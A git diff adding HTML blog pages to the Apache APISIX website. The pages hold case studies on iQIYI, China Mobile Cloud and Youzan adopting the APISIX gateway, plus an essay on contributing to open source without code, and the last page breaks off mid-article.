+<p><img src="https://static.apiseven.com/202108/1646804680988-c0c833ee-79b1-4c9d-88ed-c158e9c374cd.png" alt="Kong's disadvantage"></p>
+<p>Kong uses PostgreSQL to store its information, which is obviously not a good way. We also looked at the performance of Apache APISIX compared to Kong in the course of our research, and it’s amazing that Apache Apisix is 10 times better than Kong in terms of performance optimization. We also compared some of the major gateway products, Apache APISIX’s response latency is more than 50% lower than other gateways, and Apache APISIX can still run stably when the CPU reaches more than 70% .</p>
+<p>We also found out that Apache APISIX, like Kong, is based on the OpenResty technology, so the cost of technology migration is relatively low. And Apache APISIX is very adaptable and can be easily deployed in a variety of environments, including cloud computing platforms.</p>
+<p>We also saw that Apache APISIX was very active throughout the open source project, handled the issues very quickly, and the cloud native architecture of the project was in line with our follow up plans, so we chose Apache APISIX.</p>
+<h2 id="architecture-based-on-apache-apisix">Architecture Based on Apache APISIX</h2>
+<p>The overall architecture of iQIYI Gateway is shown below, including domain name, gateway to service instance and monitoring alarm. DPVS is an open source project within the company based on LVS, Hubble monitoring alerts is also a deep secondary development based on an open source project, and the Consul area has been optimized for performance and high availability.</p>
+<p><img src="https://static.apiseven.com/202108/1646792292257-8907ca46-0a08-4659-8549-810bc5fa788a.png" alt="iQIYI Gateway architecture"></p>
+<h3 id="scenario-1-microservice-gateway">Scenario 1: Microservice Gateway</h3>
+<p>About the gateway this piece, simple from the control surface and the data surface introduce.</p>
+<p><img src="https://static.apiseven.com/202108/1646791464287-ba803227-7bd0-4134-8709-3bea19ba9432.png" alt="Gateway details"></p>
+<p>The data plane is mainly oriented to the front-end users, and the whole architecture from LB to Gateway is multi-location and multi-link disaster deployment.</p>
+<p>From the perspective of control surface, because of the multi-cluster composition, there will be a micro-service platform to do cluster management and service management. Microservice platforms allow users to experience services as one-stop-shops that expose them to immediate use without having to submit a work order. The back end of the control panel will have Gateway Controller, which controls the creation of all apis, plug-ins, and related configurations, and Service Controller, wh [...]
+<h3 id="scenario-2-basic-functions">Scenario 2: Basic Functions</h3>
+<p>At present, the API architecture based on Apache APISIX has realized some basic functions, such as current limiting, authentication, alarm, monitoring and so on.</p>
+<p><img src="https://static.apiseven.com/202108/1646733199348-15d96c96-a64f-42b1-b7da-cd3c61fd7de9.png" alt="Micro service platform function"></p>
+<p>First is the HTTPS section, iQIYI for security reasons, certificates and keys are not stored on the gateway machine, will be placed on a dedicated remote server. We didn’t support this when we used Kong, we used the prefix Nginx to do HTTPS Offload, and after the migration to Apache APISIX, we implemented this feature on Apache APISIX, which is a layer less forwarding over the link.</p>
+<p>In the current limiting function, in addition to the basic current limiting, but also added a precise current limiting and user-specific granularity of the current limiting. Authentication function, in addition to the basic API Key authentication, for specialized services also provide the relevant Passport authentication. For black product filtering, access to the company’s WAF Security Cloud.</p>
+<p>The monitoring feature is currently implemented using the Apache APISIX plug-in Prometheus, and the metrics data will interface directly with the company’s monitoring system. Logging and call chain analysis is also supported through Apache APISIX.</p>
+<h3 id="scenario-3-serviece-discovery">Scenario 3: Serviece Discovery</h3>
+<p>With regard to the above-mentioned service discovery, it is mainly through the service center to register the service to the Consul cluster, and then through the DNS service discovery to do dynamic updates, qae is a micro-service platform in our company. A simple example illustrates the general flow of updating a backend application instance.</p>
+<p><img src="https://static.apiseven.com/202108/1646733434679-ecb6431e-64c8-4e55-b01f-9cb117e2e523.png" alt="Service discovery process"></p>
+<p>When the instance changes, the corresponding node is first unlogged from Consul and a request to update the DNS cache is sent to the gateway through the API Gateway Controller. After the cache update is successful, the Controller then feeds back to the QAE platform to stop the associated back-end application node and avoid reforwarding traffic to the offline node.</p>
+<h3 id="scenario-4-directional-route">Scenario 4: Directional Route</h3>
+<p><img src="https://static.apiseven.com/202108/1646733411551-50fd722b-b4af-4674-a297-08350d1252d2.png" alt="Directional route"></p>
+<p>The gateway is multi-location deployment, build a set of multi-location backup link in advance, at the same time suggest the user back-end service is also multi-location deployment nearby. Then the user creates an API service on the Skywalker Gateway platform, the Controller deploys the API routing on the entire DC gateway cluster, and the business domain defaults to CNAME on the unified gateway domain name.</p>
+<p>It provides multi-local access, disaster preparedness and handoff capability for business directly, and also supports user-defined resolution routing. For the user’s own fault-cut flow, blue-green deployment, canary release needs, users can use the uuid domain name to customize the resolution of routing configuration, but also to support the back-end service discovery custom scheduling.</p>
+<h3 id="scenario-5-multi-site-multi-level-disaster-tolerance">Scenario 5: Multi-site Multi-level Disaster Tolerance</h3>
+<p>As we mentioned earlier, at the business level we have business proximity and disaster preparedness requirements for large volumes of traffic, large clusters, and a wide audience of clients.</p>
+<p>For disaster preparedness, in addition to multi-link backup, but also consider multi-level multi-node problem, fault node closer to the client, the greater the impact of business and traffic.</p>
+<ol>
+<li>If it is the farthest back-end service node failure, depending on the health check mechanism of the gateway and the service center, it can realize the fuse of the fault single node or the switch of the fault DC, and the influence scope is limited to the specified service, the user is not aware.</li>
+<li>If it is a gateway level fault, we need to rely on the health check mechanism of L4 DPVS, fusing the fault gateway node, the influence range is small, the user is not aware.</li>
+<li>If the fault points can not be repaired by the above-mentioned fusing measures, it is necessary to rely on the multi-point availability dialing of the domain name granularity to realize the automatic fault switching at the domain name resolution level, which is a relatively slow way to repair the fault, affect the business much, the user can feel.</li>
+</ol>
+<h2 id="problems-encountered-during-migration">Problems Encountered during Migration</h2>
+<p>During our migration practice from Kong to Apache APISIX, we addressed and optimized some known architectural issues, but also encountered some new ones.</p>
+<h3 id="result-1-sni-compatibility-issues-not-supported-in-the-front-end-were-resolved">Result 1: SNI Compatibility Issues Not Supported in The Front End Were Resolved</h3>
+<p>Most of the frontend is now supported for SNI, but you’ll also encounter a few frontend that won’t pass the hostname during SSL. At present, we have done a compatibility for this situation, using port matching method to obtain the relevant certificates.</p>
+<h3 id="result-2-a-large-number-of-api-routing-matching-problems-have-been-optimized">Result 2: A Large Number of API Routing Matching Problems Have Been Optimized</h3>
+<p>As I said before, we currently have more than 9,000 API services running directly online, and may increase in the future. In order to solve this problem, we made some performance optimization, according to the API to decide whether to match the domain name or the path first.</p>
+<h3 id="result-3-the-limitation-of-etcd-interface-is-solved">Result 3: The Limitation of ETCD Interface Is Solved</h3>
+<p>After accessing Apache APISIX, the ETCD interface limitation has also been resolved and the 4M limit has now been lifted.</p>
+<h3 id="result-4-performance-issues-optimized-for-the-number-of-etcd-connections">Result 4: Performance Issues Optimized for The Number of ETCD Connections</h3>
+<p>Currently, every worker at Apache APISIX is connected to the ETCD, and every listening directory is going to make a connection. For example, a physical machine is 80core, with 10 listening directories and 800 connections on a single gateway server. With a gateway cluster of 10,8,000 connections is a lot of pressure on the ETCD. The optimization is to take one worker and listen to a limited set of necessary directories and share the information with the rest of the workers.</p>
+<h3 id="to-be-optimized">To Be Optimized</h3>
+<p>In addition to the above problems, there are also a number of issues are being optimized.</p>
+<ol>
+<li>A number of API issues, even if APISIX is supported, we need to consider other component-dependent bottlenecks. Such as the ETCD, Prometheus Monitoring and logging services described above. So in the future, we may adopt the two ways of large cluster sharing and small cluster independence to mix the deployment of business, for example, some important business we will deploy in small clusters.</li>
+<li>With respect to the Prometheus monitoring metric, we will continue to scale down and optimize the DNS service to find more.</li>
+</ol>
+<h2 id="expectations-for-apache-apisix">Expectations for Apache APISIX</h2>
+<p>We hope that in future development updates Apache APISIX will not only support more functionality, but also maintain performance efficiency and stability over time.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></ [...]
\ No newline at end of file
diff --git a/blog/2021/09/09/how-to-contribute-to-an-openSource-without-coding/index.html b/blog/2021/09/09/how-to-contribute-to-an-openSource-without-coding/index.html
new file mode 100644
index 00000000000..c6c78a5a2ad
--- /dev/null
+++ b/blog/2021/09/09/how-to-contribute-to-an-openSource-without-coding/index.html
@@ -0,0 +1,60 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>How can I contribute to an open source project without writing code? | Apache APISIX</title><meta name="description" content="You can participate in open source projects by writing articles, making videos, sharing them externally, building local communities."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/ [...]
+<p>This article describes many ways to contribute to open source projects without writing code. You can get involved in open source projects by writing articles, making videos, sharing them externally, building local communities, and participating actively in community discussions.</p>
+</blockquote>
+<!--truncate-->
+<p>I have contributed several PRs and submitted several issues to open source projects, and I still remember clearly the excitement when my first PR was merged a few years ago, and I experienced the fun of participating in open source. But my experience remains in the contributor stage with no further progress, because I changed my position from front-end developer to marketing. I am afraid that I would be less familiar with the code, and I can not fix the bug, which will result in no c [...]
+<p>There is a misunderstanding here, not only contributing code and fixing bugs are contributions to the project. Is the only way to become a contributor is to contribute code? <strong>If I can’t write code and I’m not a developer, how can I become a contributor to an open source project and even get promoted to committer?</strong> If I don’t know how to write code and am not a developer, how can I become a contributor to an open source project or even be promoted to committer?</p>
+<p>After I sorted it out, I found that there are many ways to become a contributor, so I’ll share them here. (The author is also on the way to practice)</p>
+<h2 id="contributing-without-coding">Contributing without Coding</h2>
+<h3 id="writing-articles">Writing articles</h3>
+<p>Writing articles is an easily overlooked way to promote and evangelize a technology. For example, writing a project’s induction guide, a pit-stop record, an architectural design analysis, implementation principles, etc.</p>
+<p>If it is difficult to start writing articles, you can start with translation, either from Chinese to English or from English to Chinese, as long as the content is meaningful to the project, you are contributing to it.</p>
+<p>Or if you have watched others’ technical practical sharing, organize others’ sharing into a text version and share it to the community to help more people understand the project.</p>
+<p>I have also noticed that some contributors have put together a development booklet, or a professional book, to systematically introduce a technology to others.</p>
+<h3 id="making-videos">Making videos</h3>
+<p>Making videos is also a good way to do this. We can convert the text into a video, introduce an open source project in a video way, record a guide, step in the record, architecture design analysis, implementation principles and so on. I also saw a lot of projects using video presentation, the video may be the form of animation, may also be a real person to explain, no matter which, the video presentation will be more vivid and interesting than the text some.</p>
+<p>However, the pre-editing video for newcomers to the workload may be relatively large.</p>
+<h3 id="conference-sharing">Conference sharing</h3>
+<p>If you are not shy and like to share outside, then going to technical conferences to share and preach open source projects is also a very good choice. This may be difficult for newcomers who understand the project, with time, when we progress from the little white to familiar, go to share is easier to reach. Sharing can exercise their own expression skills, logical thinking skills, but also exercise their own guts ~ (may also harvest the olive branch)</p>
+<h3 id="improve-the-documentation">Improve the documentation</h3>
+<p>Most developers do not like to write documentation, but documentation is an important way for other people to understand the project and get started with the project. I once in the development experience, if you encounter a clear and detailed documentation, I feel very lucky thing, get started on the project will be much faster. Documentation is not limited to start-up instructions, if there is an architectural design, the principle of the introduction is even better.</p>
+<p>We can submit documentation for open source projects of interest, or even fix the documentation, for example</p>
+<ul>
+<li>code updates, the documentation is not updated at the same time</li>
+<li>fix the wrong download links, documentation links</li>
+<li>Optimize the documentation, modify the description of the documentation to make it easier to understand</li>
+<li>Submit architecture design, schematic documentation</li>
+</ul>
+<h3 id="build-local-community-organizeparticipate-in-events">Build local community, organize/participate in events</h3>
+<p>If you are interested in a project, get involved in the local community, communicate with like-minded people, organize local events, and contribute to the development of the project.</p>
+<p>If there is no local community, you can build one as an initiator. I know that the Apache Software Foundation encourages people to build Local Communities, such as ALC Beijing, and other technical communities such as KubeSphere and Cloud Native Community are actively developing local communities.</p>
+<h3 id="actively-participate-in-community-discussions">Actively participate in community discussions</h3>
+<h4 id="is-active-on-the-apache-mailing-list">is active on the Apache mailing list</h4>
+<p>The Apache culture encourages discussion and decision making through mailing lists, where everything is documented. Each Apache project has its own mailing list, and if you have an idea for a project, the community strongly encourages you to discuss it on the mailing list.</p>
+<p>We can.</p>
+<ul>
+<li>Post a poll for a project</li>
+<li>Reply to discussions started by others to express our own views</li>
+<li>Start a discussion</li>
+</ul>
+<p>Why a mailing list?</p>
+<p>Mailing lists give me a very old-fashioned feeling. I went to learn about the history of the Apache Software Foundation, and initially the founders of the foundation discussed issues by way of mailing lists, is it a preservation of the old culture?</p>
+<p>Although the Internet is developing rapidly, but the world still has difficulties in receiving pictures, difficulties in using other software, although wechat, Twitter users we know also do not cover the world, but the use of mail can be the smallest threshold to establish contact with others, to ensure that people around the world can participate in community discussions, this is the original intention of the Apache Software Foundation to retain the mailing list approach.</p>
+<h4 id="is-active-on-github">is active on Github</h4>
+<p>Github is the most common site for developers, and most open source projects are hosted on Github. I can</p>
+<ul>
+<li>raise an issue with my thoughts on how to improve the project</li>
+<li>submit a bug report</li>
+<li>review pr submitted by other partners</li>
+</ul>
+<p>These are all ways to contribute to open source projects.</p>
+<h4 id="apache-mail-list-vs-github">Apache mail list vs Github</h4>
+<p>Why use a mailing list when you have Github? The code is hosted on Github, and it seems like all the community collaboration is done on Github?</p>
+<p>If there are no objections to discussing an issue on the mailing list, the proposal will be approved by default. If there are objections, they will be fully discussed and eventually agreed or set aside.</p>
+<p>The use of mailing lists for discussion is also a way to identify with the Apache culture. For projects that follow Apache rules, the mailing list is the primary place for the community, and Github is a convenient collaborative tool.</p>
+<h2 id="contributing-with-coding">Contributing with Coding</h2>
+<h3 id="contribute-features-fix-bugs">Contribute features, fix bugs</h3>
+<p>Of course, open source projects are inseparable from the code. If you are familiar with the technology stack of an open source project, you will soon be able to contribute code, work with community partners to improve the relevant features, fix bugs, and continue to contribute, becoming a project contributor, and further nominated to become a committer, PMC is very easy to do. Most of the contributors become committer by submitting code, but as a small partner like me who is not famil [...]
+<p>It is important to note that a committer is an affirmation of a contributor’s past contributions and will not be removed as a committer because he or she will no longer contribute in the future, nor will they have greater rights because they are a committer.</p>
+<h2 id="summary">Summary</h2>
+<p>If you are interested in open source projects but not familiar with the code, and want to participate in the open source community, writing articles, making videos, sharing with the public, building local communities, and actively participating in community discussions are all very good ways, welcome to practice.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Fo [...]
\ No newline at end of file
diff --git a/blog/2021/09/13/china-mobile-cloud-usercase/index.html b/blog/2021/09/13/china-mobile-cloud-usercase/index.html
new file mode 100644
index 00000000000..a6ff3b28bb6
--- /dev/null
+++ b/blog/2021/09/13/china-mobile-cloud-usercase/index.html
@@ -0,0 +1,71 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>How APISIX implemented in China Mobile Cloud | Apache APISIX</title><meta name="description" content="This article introduces how China Mobile Cloud develops products and improves and updates its functions based on the cloud-native API gateway Apache APISIX."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/ [...]
+<p>This article is compiled from a presentation given by Yanshan Chen from China Mobile Cloud Competence Center at ApacheCon 2021 Asia. By reading this article, you can learn how China Mobile Cloud is developing and improving and updating its products based on Apache APISIX to create a better mobile cloud object storage.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="background-information">Background Information</h2>
+<p>As the builder of China Mobile’s cloud facilities, provider of cloud services and aggregator of cloud ecology, China Mobile’s Cloud Competence Center has assumed six major responsibilities for mobile cloud: technology research and development, planning and construction, operation and maintenance, cooperation and introduction, sales support, and support for cloud deployment.</p>
+<p>As of October 2020, a total of 25 public cloud nodes have been built nationwide, with a provincial coverage rate of over 80%. Among them, object storage EOS, as one of the underlying infrastructure capabilities, has been deployed in all resource pools, and the overall available scale has reached EB level.</p>
+<p>Mobile cloud object storage has gone through four generations of development history changes. Starting from self-research and development, through functional expansion, deep customization, performance improvement to the latest generation has a cross-regional global correction and deletion architecture, to achieve the effect of off-site multi-live disaster recovery. Throughout the years, it can be said that the progress is rapid.</p>
+<p>In the early stage of cloud object storage technology selection, we investigated many API gateways, including Nginx, Apache APISIX, etc., and finally chose Apache APISIX, which can not only meet the current business requirements, but also provide more ideas and choices for our products in terms of system availability and maintainability, which is similar to that of Apache APISIX. The overall product evolution plan and technology stack are more compatible.</p>
+<h2 id="why-did-we-choose-apache-apisix-as-a-gateway">Why Did We Choose Apache APISIX as a Gateway?</h2>
+<h3 id="why-did-we-abandon-nginx">Why Did We Abandon Nginx?</h3>
+<h4 id="reason-1-lack-of-overall-capabilities">Reason 1: Lack of Overall Capabilities</h4>
+<p>Apache APISIX as a microservice gateway, compared with other API gateways, its upstream routing plugins are fully dynamic, and no restart is required to modify the configuration. The plugin also supports hot-loading, so you can plug and unplug and modify the plugin at any time. These capabilities are not available in Nginx, especially in scenarios with very high business continuity requirements.</p>
+<h4 id="reason-2-inflexible-configuration">Reason 2: Inflexible Configuration</h4>
+<p>Apache APISIX supports all-platform, multi-protocol, fully dynamic, fine-grained routing, security protection, and is O&M friendly, and can be docked to Prometheus, SkyWalking, etc., with highly scalable These are the capabilities that are needed in real production.</p>
+<h3 id="why-did-we-choose-apache-apisix">Why Did We Choose Apache APISIX?</h3>
+<h4 id="reason-1-based-on-the-need-for-product-architecture">Reason 1: Based on the Need for Product Architecture</h4>
+<p>As mentioned earlier, object storage has now gone through four generations of development. With the richness of the product features, the scale of the entire architecture cluster becomes larger, there is a need for more control surface policies, including traffic governance, service governance and other policies to ensure the stable operation of the entire system.</p>
+<h4 id="reason-2-implementation-of-fine-grained-business-functions">Reason 2: Implementation of Fine-grained Business Functions</h4>
+<p>Apache APISIX features, functional plugins, and custom development capabilities are available to meet our business needs during subsequent development.</p>
+<h4 id="reason-3-sla-service-level-guarantee">Reason 3: SLA Service Level Guarantee</h4>
+<p>The general SLA service level availability emphasizes two metrics: system mean time to failure and system mean time to repair failure. How to effectively lengthen the system mean time to failure? How to effectively reduce the system mean time to repair? These two questions are our key considerations. Apache APISIX has good traffic management and service management related capabilities in both fault isolation and self-healing.</p>
+<p><img src="https://static.apiseven.com/202108/1631500451210-60ba58d6-1fc4-4db6-b658-5e0066bb1c9b.png" alt="SLA Service Level"></p>
+<h2 id="what-did-we-change-in-apache-apisix-data-plane">What Did We Change in Apache APISIX Data Plane?</h2>
+<h3 id="improvement-1-separate-access-for-internal-and-external-network-requests">Improvement 1: Separate Access for Internal and External Network Requests</h3>
+<p>Currently our business model has two domains, the intranet domain and the extranet domain. The intranet domain name access is the east-west access of the resource pool, such as the internal virtual machine of the resource pool, application platform class products, etc. The extranet domain name is equivalent to pure public network access, such as: public cloud, toC and toB customers in the public network, accessing object storage via satellite or physical private line.</p>
+<p>By accessing Apache APISIX, we realize multi-domain certificate configuration for internal and external domain names, and provide encrypted access function, and realize the function of dynamic loading of SSL certificate. For 24-hour uninterrupted business, it is very important to be able to dynamically update SSL certificate.</p>
+<h3 id="improvement-2-request-for-fuse-protection">Improvement 2: Request for Fuse Protection</h3>
+<p>Here we first give you a brief description of the current Object Storage EOS node management after accessing Apache APISIX. The entire object store is divided into a data plane and a control plane. The data plane mainly carries the I/O flow of the whole business. The business data is processed from APISIX’s Layer 7 traffic governance module as the entry point, through the APISIX back-end upstream Accesser, which is the main module for business interface processing.</p>
+<p><img src="https://static.apiseven.com/202108/1646731748455-69e4da37-1a58-4303-968e-3a636e308d04.png" alt="Fuse Protection"></p>
+<p>The control plane has several main services, including the autopilot service Manager, the observable system Observer, and the chaos engineering fault injection module Checker. there is also an additional overall interaction orchestration system Orchestrator and a canary release platform Publisher.</p>
+<p><img src="https://static.apiseven.com/202108/1646731771583-36c98076-1434-4bb6-820d-41de725223bf.png" alt="Control Plane Services"></p>
+<p>In order to achieve request fusion protection, the data plane is connected to Apache APISIX to achieve the processing capability of request intervention. The observable system at the control plane is mainly built based on Prometheus, which collects indicators and alerts, and finally realizes the overall fusion protection at the back-end.</p>
+<h3 id="improvement-3-customize-constant-key-to-achieve-global-flow-limit">Improvement 3: Customize Constant Key to Achieve Global Flow-limit</h3>
+<p>limit-conn key This plugin mainly supports remote_addr, server_addr, X-Forwarded-For, X-Real-IP, but cannot do full limit flow for north-south gateway traffic.
+In order to match our business requirements, we customize a constant constant as the range of imit-conn key. The right side of the above figure is the modified configuration after accessing Apache APISIX, and the constant constant constant key is used to achieve the function of global flow-limit.</p>
+<p><img src="https://static.apiseven.com/202108/1646731806833-166c115f-26bb-4657-a7c1-9a24e043f399.png" alt="Global Flow-limit"></p>
+<h3 id="improvement-4-new-function-feature-switches">Improvement 4: New Function Feature Switches</h3>
+<h4 id="switch-1-temporarily-turn-off-an-object-storage-function">Switch 1: Temporarily Turn off an Object Storage Function</h4>
+<p>In the gateway layer by accessing Apache APISIX, it is compatible with the S3 interface specification to avoid wasting resources on the access layer and persistence layer of the back-end service.</p>
+<h4 id="switch-2-support-the-highest-priority-for-get-requests">Switch 2: Support the Highest Priority for GET Requests</h4>
+<p>With the support of GET request priority, GET requests have the highest priority when retrieving user data, higher than PUT, DELETE and other requests.</p>
+<h4 id="switch-3-return-501-not-implemented-for-ordered-list-requests">Switch 3: Return 501 Not Implemented for Ordered List Requests</h4>
+<p>In the object storage will generally have a bucket of Ordered List feature requirements. The third and fourth generation of mobile cloud object storage for tens of billions of file objects, if still using Ordered List, on the one hand, request access to the back-end response time will be particularly long, on the other hand, will take up more resources, the stability of the back-end a greater challenge.</p>
+<p>Therefore, after accessing Apache APISIX, the request will be rejected directly at the gateway level, and the status code of 501 Not Implemented will be returned.</p>
+<h3 id="improvement-5-transparent-upgradeexpansionconfiguration-change">Improvement 5: Transparent Upgrade/Expansion/Configuration Change</h3>
+<p>Combined with the Apache APISIX Layer 7 governance capabilities, we perform upgrades, scaling and configuration changes to key components upstream and across the I/O path to control back-end weighting through dynamic scaling and dynamic upgrade operations for subsequent request processing.</p>
+<h3 id="improvement-6-request-log-tracking-analysis-based-on-request-id">Improvement 6: Request Log Tracking Analysis Based on Request-id</h3>
+<p>Based on access.log, we have implemented a centralized log collection management method to collect APISIX logs and logs of other processes, and then perform a comprehensive analysis.</p>
+<p><img src="https://static.apiseven.com/202108/1646731841734-478f5fe5-186c-4d1e-b754-009ba4942ead.png" alt="Log Tracking"></p>
+<p>The configuration item on the right side of the image above uses the request-id plugin of Apache APISIX. Each request is assigned a request-id when it passes through APISIX, which is used in the business logic processing layer (Accesser) and the data persistence layer, which in turn filters out the log timestamps of the different components in the official Loki panel and helps to automate some analysis using AI later.</p>
+<h3 id="improvement-7-cross-available-zones-request-scheduling-feature">Improvement 7: Cross Available Zones Request Scheduling Feature</h3>
+<p>The backend of the current load balancing is a seven-layer traffic governance layer based on APISIX implementation, which achieves multi-live capability by equal ECMP + BGP routing. We define three traffic types, each APISIX node receives service traffic and only hits the upstream service of this node to process (level0, purple line), similar to SideCar mode.
+If a node has a problem upstream, it will be forwarded to other upstream nodes in the same AZ for processing (green line). If all upstream nodes hang, the ability to invoke requests across AZs (level2, red line) is implemented based on Apache APISIX, which writes the requests to other AZs and finally achieves request scheduling across AZs.</p>
+<p><img src="https://static.apiseven.com/202108/1646731904721-e1b2a9ee-0f3c-41da-8a6b-c20a027df1b6.png" alt="Cross Available Zones Request Scheduling"></p>
+<h2 id="future-plans">Future Plans</h2>
+<p>The future of mobile cloud object storage will fully embrace cloud-native, and gradually achieve the following plans:</p>
+<ol>
+<li>
+<p>Integrate data surface functions, and eventually achieve a comprehensive containerized deployment orchestration.</p>
+</li>
+<li>
+<p>Successively access the APISIX-based Ingress Controller, through APISIX to unify access portal.</p>
+</li>
+<li>
+<p>Strengthen the integration capability with Autopilot Manager and Observer subsystem to further achieve fault isolation and self-healing.</p>
+</li>
+<li>
+<p>Move the authentication capability of object storage S3 to the interface layer. Better achieve unified authentication and security access to protect the back-end effect.</p>
+</li>
+</ol> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><li><a href="h [...]
\ No newline at end of file
diff --git a/blog/2021/09/14/youzan/index.html b/blog/2021/09/14/youzan/index.html
new file mode 100644
index 00000000000..c9934d28eaf
--- /dev/null
+++ b/blog/2021/09/14/youzan/index.html
@@ -0,0 +1,84 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Youzan PaaS: Microservice Governance with APISIX | Apache APISIX</title><meta name="description" content="Learn how Youzan uses APISIX as a traffic gateway in their cloud-native PaaS platform for microservice governance and canary releases."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/09/14/yo [...]
+<p>This article focuses on the enterprise case of using Apache APISIX for PaaS platform with Youzanyun native platform and how to use Apache APISIX as a specific example of the product traffic gateway.</p>
+</blockquote>
+<!--truncate-->
+<p>Youzan is a major retail technology SaaS provider that helps businesses open online stores, engage in social marketing, improve retention and repurchase, and expand new retail across all channels. This year, youzan Technologies is beginning to design and implement a new cloud native PaaS platform with a common model for release management and micro-service related governance of various applications. Apache APISIX played a key role.</p>
+<h2 id="why-need-a-traffic-gateway">Why Need a Traffic Gateway</h2>
+<h3 id="youzan-ops-platform">Youzan OPS Platform</h3>
+<p>Youzan OPS platform is based on FLASK in the early single application, mainly to support business-oriented. It gradually went online and deployed a lot of business-side code into the containerization phase. At that time, the gateway was only a part of the function of the internal flash application, and there was no clear concept of the gateway, only as the traffic forwarding function of business application. The following illustration shows the current Gateway 1.0 business structure.</p>
+<p><img src="https://static.apiseven.com/202108/1646730623405-a0e0b22b-40ca-49c2-bd9b-fd77547bc404.png" alt="1.0 business structure"></p>
+<p>As the entire system in the early days mainly focused on the direction of the business, so did not generate too much momentum to carry out the transformation. From 2018 onwards, through internal communication, we found that if there is not a good gateway layer governance, the subsequent product function and business access will bring more and more obvious bottlenecks.</p>
+<h3 id="issues-with-no-gateway-layer-governance">Issues with no-gateway Layer Governance</h3>
+<h4 id="performance">Performance</h4>
+<ol>
+<li>Every time you add a back-end service, you need to make a coding change</li>
+<li>The traffic forwarding code is implemented simply in Python and is not designed as a “Gateway”</li>
+<li>The performance limitations of the FLASK framework are limited to 120-150 QPS per machine</li>
+<li>Repeat the wheel: each of the different business requirements produces a set of corresponding entrances</li>
+<li>It’s messy. It’s complicated</li>
+</ol>
+<p>Based on this problem, our action direction is: the professional work to the professional system to do.</p>
+<h4 id="internal-operational-aspects">Internal Operational Aspects</h4>
+<p><img src="https://static.apiseven.com/202108/1646730664670-a57a07d3-4a10-4201-9455-410e1d05428d.png" alt="Internal problems"></p>
+<ol>
+<li>The number of internal services to manage is very high (hundreds)</li>
+<li>Some services do not dock with CAS implementation authentication</li>
+<li>The cost of new service docking CAS exists, and the repeated development is time-consuming and labor-consuming</li>
+<li>All services are configured directly at the access layer, with no internal service specifications or best practices</li>
+</ol>
+<p>With these two aspects of the problem, we began to gateway products related research.</p>
+<h2 id="why-apache-apisix">Why Apache APISIX</h2>
+<p>We also initially investigated a number of gateway systems, such as Apache APISIX, Kong, Traefik and MOSN, as well as two related projects within our company, YZ7 and Tether.</p>
+<p><img src="https://static.apiseven.com/202108/1631607308093-b2135819-6d17-41d4-b2fb-10cbefa3c27b.png" alt="Gateway pre-section"></p>
+<p>Considering the maturity and extensibility of the product, we finally made a choice between Kong and Apache APISIX.</p>
+<p><img src="https://static.apiseven.com/202108/1646793171947-28500d69-44c3-4afe-9808-e21b30265aad.png" alt="Multi-dimensional comparison"></p>
+<p>As you can see from the image above, the two are basically the same in many ways, so the storage side has become a key consideration. Because etcd is mature in our company’s internal operation and maintenance system, Apache APISIX is a little better than Kong.</p>
+<p>At the same time, considering the open source project level, Apache APISIX’s domestic communication and follow-up processing speed is very good, the project’s plug-in system is rich and comprehensive, for each phase of the use of the type are relatively consistent.</p>
+<p>So after research in 2020, <a href="https://github.com/apache/apisix">Apache APISIX</a> was finally chosen as the gateway for the upcoming cloud native PaaS platform in Youzan.</p>
+<h2 id="after-using-apache-apisix">After Using Apache APISIX</h2>
+<p>When we started accessing Apache APISIX, the two problems mentioned above were solved one by one.</p>
+<h3 id="effect-1-optimized-architecture-performance">Effect 1: Optimized Architecture Performance</h3>
+<p>Apache APISIX is deployed as an entry point to gateway at the edge of the internal service area, through which all requests to the front end pass. At the same time, we use the plug-in function of Apache APISIX to connect with the company’s internal CAS single sign-on system. At the same time in the front end we provide a responsible for authentication SDK Apache APISIX authentication interface docking, to achieve a complete and automated process system.</p>
+<p><img src="https://static.apiseven.com/202108/1646730763458-7c60675d-4edf-4e4b-9d8b-c3619679af58.png" alt="Optimized architecture"></p>
+<p>So the problem was solved:</p>
+<ol>
+<li>Each time you add a new back-end service, you simply call the Apache APISIX interface and write the new service configuration</li>
+<li>Traffic forwarding is done through Apache APISIX, which is excellent at what the gateway does</li>
+<li>The gateway is no longer a performance bottleneck in the architecture</li>
+<li>For different business requirements, you can use the same gateway to achieve uniformity; business details vary, you can achieve through plug-ins</li>
+</ol>
+<h3 id="effect-2-internal-service-access-standardization">Effect 2: Internal Service Access Standardization</h3>
+<p>After accessing Apache APISIX, the company’s new internal service will have its own authentication function, access costs are very low, business can directly start to develop business code. At the same time when the new service access, according to the norms of internal services for the relevant routing configuration, back-end services can be unified access authentication after the user identity, save time and effort.</p>
+<p>Some of the fine-tuning details of the in-house service are briefly described here.</p>
+<h4 id="authentication-plugin-ops-jwt-auth">Authentication Plugin OPS-JWT-Auth</h4>
+<p>The authentication plug-in is developed based on JWT-Auth protocol. When a user accesses the front end, the front end calls the SDK first to get the available JWT-Token locally. Then through the following path to get the user’s valid information, placed in the front-end of a storage, complete login authentication.</p>
+<p><img src="https://static.apiseven.com/202108/1646730872779-8ca9bc05-a3ea-4cc5-95dc-b8b2a8e3e2d1.png" alt="Login authentication"></p>
